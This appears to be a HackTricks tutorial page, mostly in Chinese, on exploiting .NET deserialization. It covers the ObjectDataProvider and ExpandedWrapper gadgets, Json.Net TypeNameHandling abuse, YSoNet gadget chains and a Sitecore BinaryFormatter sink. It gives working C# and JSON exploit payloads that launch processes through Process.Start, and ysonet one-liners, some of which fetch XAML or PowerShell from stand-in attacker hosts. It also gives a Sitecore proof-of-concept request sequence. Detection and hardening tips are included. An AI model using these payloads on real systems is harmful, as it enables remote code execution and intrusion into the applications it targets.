基础 .Net 反序列化 (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 12 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

本文致力于理解 ObjectDataProvider gadget 如何被利用以获得 RCE,以及如何滥用 Serialization 库 Json.Net 和 xmlSerializer来配合该 gadget。

ObjectDataProvider Gadget

根据文档:the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
是的,这个解释有点奇怪,所以我们来看这个类有哪些有趣的地方:该类允许封装任意对象(wrap an arbitrary object),使用 MethodParameters设置任意参数, 然后 使用 MethodName 调用该任意对象的任意函数,并将之前声明的任意参数传入。
因此,任意 object 会在被反序列化时使用这些 parameters执行 一个 function

How is this possible

System.Windows.Data 命名空间(位于 PresentationFramework.dllC:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF)是定义并实现 ObjectDataProvider 的地方。

使用 dnSpy 可以查看我们感兴趣的类的代码。下面的图片中我们看到的是 PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name 的代码

如你所见,当设置 MethodName 时会调用 base.Refresh(),我们来看看它做了什么:

好的,继续看 this.BeginQuery() 做了什么。BeginQueryObjectDataProvider 中被重写,下面是它的实现:

注意在代码末尾调用了 this.QueryWorke(null)。我们来看那会执行什么:

注意这并不是 QueryWorker 函数的完整代码,但它展示了有趣的部分:代码调用了 this.InvokeMethodOnInstance(out ex);,这就是方法集合被调用的那一行。

如果你想验证仅设置 MethodName 就会被执行,你可以运行这段代码:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

注意,你需要将引用添加为 C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll,以便加载 System.Windows.Data

ExpandedWrapper

Using the previous exploit there will be cases where the object is going to be deserialized as an ObjectDataProvider instance (for example in DotNetNuke vuln, using XmlSerializer, the object was deserialized using GetType). Then, will have no knowledge of the object type that is wrapped in the ObjectDataProvider instance (Process for example). You can find more information about the DotNetNuke vuln here.

该类允许 s指定在给定实例中被封装对象的对象类型。因此,该类可用于将源对象 (ObjectDataProvider) 封装到一个新的对象类型,并提供我们需要的属性 (ObjectDataProvider.MethodNameObjectDataProvider.MethodParameters)。
这对于前面展示的情况非常有用,因为我们能够 封装 _ObjectDataProvider** 到一个 **ExpandedWrapper _ 实例,并且 反序列化时 该类将 创建 OjectDataProvider 对象,该对象将 执行MethodName 中指定的 函数

你可以使用以下代码检查这个 wrapper:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

官方网站 上指出该库允许 使用 Json.NET 强大的 JSON 序列化器对任何 .NET 对象进行序列化和反序列化。因此,如果我们能够 反序列化 ObjectDataProvider gadget,仅通过反序列化一个对象就可能导致 RCE

Json.Net 示例

首先,让我们看一个使用该库 序列化/反序列化 对象的示例:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

滥用 Json.Net

使用 ysoserial.net 我创建了该 exploit:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

在这段代码中你可以测试该漏洞利用,只需运行它,你会看到 calc 被执行:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

高级 .NET Gadget Chains (YSoNet & ysoserial.net)

上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是当应用执行不安全的 .NET 反序列化时可以被滥用的众多 gadget chains 之一。现代红队工具例如 YSoNet(以及更早的 ysoserial.net)可以自动生成用于数十种 gadget 和序列化格式的可直接使用的恶意对象图。

下面是随 YSoNet 提供的最有用的链的简要参考,包含它们的工作原理说明以及生成 payload 的示例命令。

Gadget Chain核心思想 / 原语常见序列化器YSoNet one-liner
TypeConfuseDelegate损坏 DelegateSerializationHolder 记录,使其在反序列化后指向任意攻击者提供的方法(例如 Process.StartBinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelector滥用 System.Workflow.ComponentModel.ActivitySurrogateSelector绕过 .NET ≥4.8 的类型过滤并直接调用提供类的构造函数或动态编译一个 C# 文件BinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviour利用 System.Data.DataSet遗留 XML 表示,通过填充 <ColumnMapping> / <DataType> 字段来实例化任意类型(可选地使用 --spoofedAssembly 伪造程序集)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResults在启用 WPF 的运行时(>.NET 5)上链式调用属性 getter,直到到达 System.CodeDom.Compiler.CompilerResults,然后使用 -c 提供的 DLL 进行编译加载Json.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (复习)使用 WPF 的 System.Windows.Data.ObjectDataProvider 调用带受控参数的任意静态方法。YSoNet 增加了便捷的 --xamlurl 选项以便远程托管恶意 XAMLBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)ScriptBlock 嵌入到 System.Management.Automation.PSObject 中,PowerShell 在反序列化该对象时会执行它PowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

默认情况下,所有 payload 都会写入 stdout,因此很容易将它们通过管道传递给其它工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。

构建 / 安装 YSoNet

如果在 Actions ➜ Artifacts / Releases 下没有可用的预编译二进制文件,下面的 PowerShell 单行命令将设置构建环境、克隆仓库并以 Release 模式编译所有内容:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

The compiled ysonet.exe can then be found under ysonet/bin/Release/.

检测与加固

  • 检测 w3wp.exePowerShell.exe 或任何反序列化用户提供数据的进程(例如 MessagePackJson.NET)的异常子进程。
  • 在无法移除旧的 BinaryFormatter / NetDataContractSerializer 时,启用并强制类型过滤TypeFilterLevel = Full、自定义 SurrogateSelectorSerializationBinderetc.)。
  • 在可能的情况下迁移到 System.Text.JsonDataContractJsonSerializer,并使用基于白名单的转换器。
  • 阻止危险的 WPF 程序集(PresentationFrameworkSystem.Workflow.*)在不需要它们的 web 进程中被加载。

真实场景 sink:Sitecore convertToRuntimeHtml → BinaryFormatter

一个在经过认证的 Sitecore XP Content Editor 流程中可达的实用 .NET sink:

  • Sink API:Sitecore.Convert.Base64ToObject(string) 封装了 new BinaryFormatter().Deserialize(...)
  • Trigger path:pipeline convertToRuntimeHtmlConvertWebControls,该流程搜索具有 id="{iframeId}_inner" 的同级元素并读取 value 属性,该属性被视为 base64 编码的序列化数据。结果被强制转换为字符串并插入到 HTML 中。

最小端到端示例(已认证):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget:任何返回字符串的 BinaryFormatter 链(副作用在反序列化期间执行)。参见 YSoNet/ysoserial.net 以生成 payloads。

For a full chain that starts pre‑auth with HTML cache poisoning in Sitecore and leads to this sink:

Sitecore

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks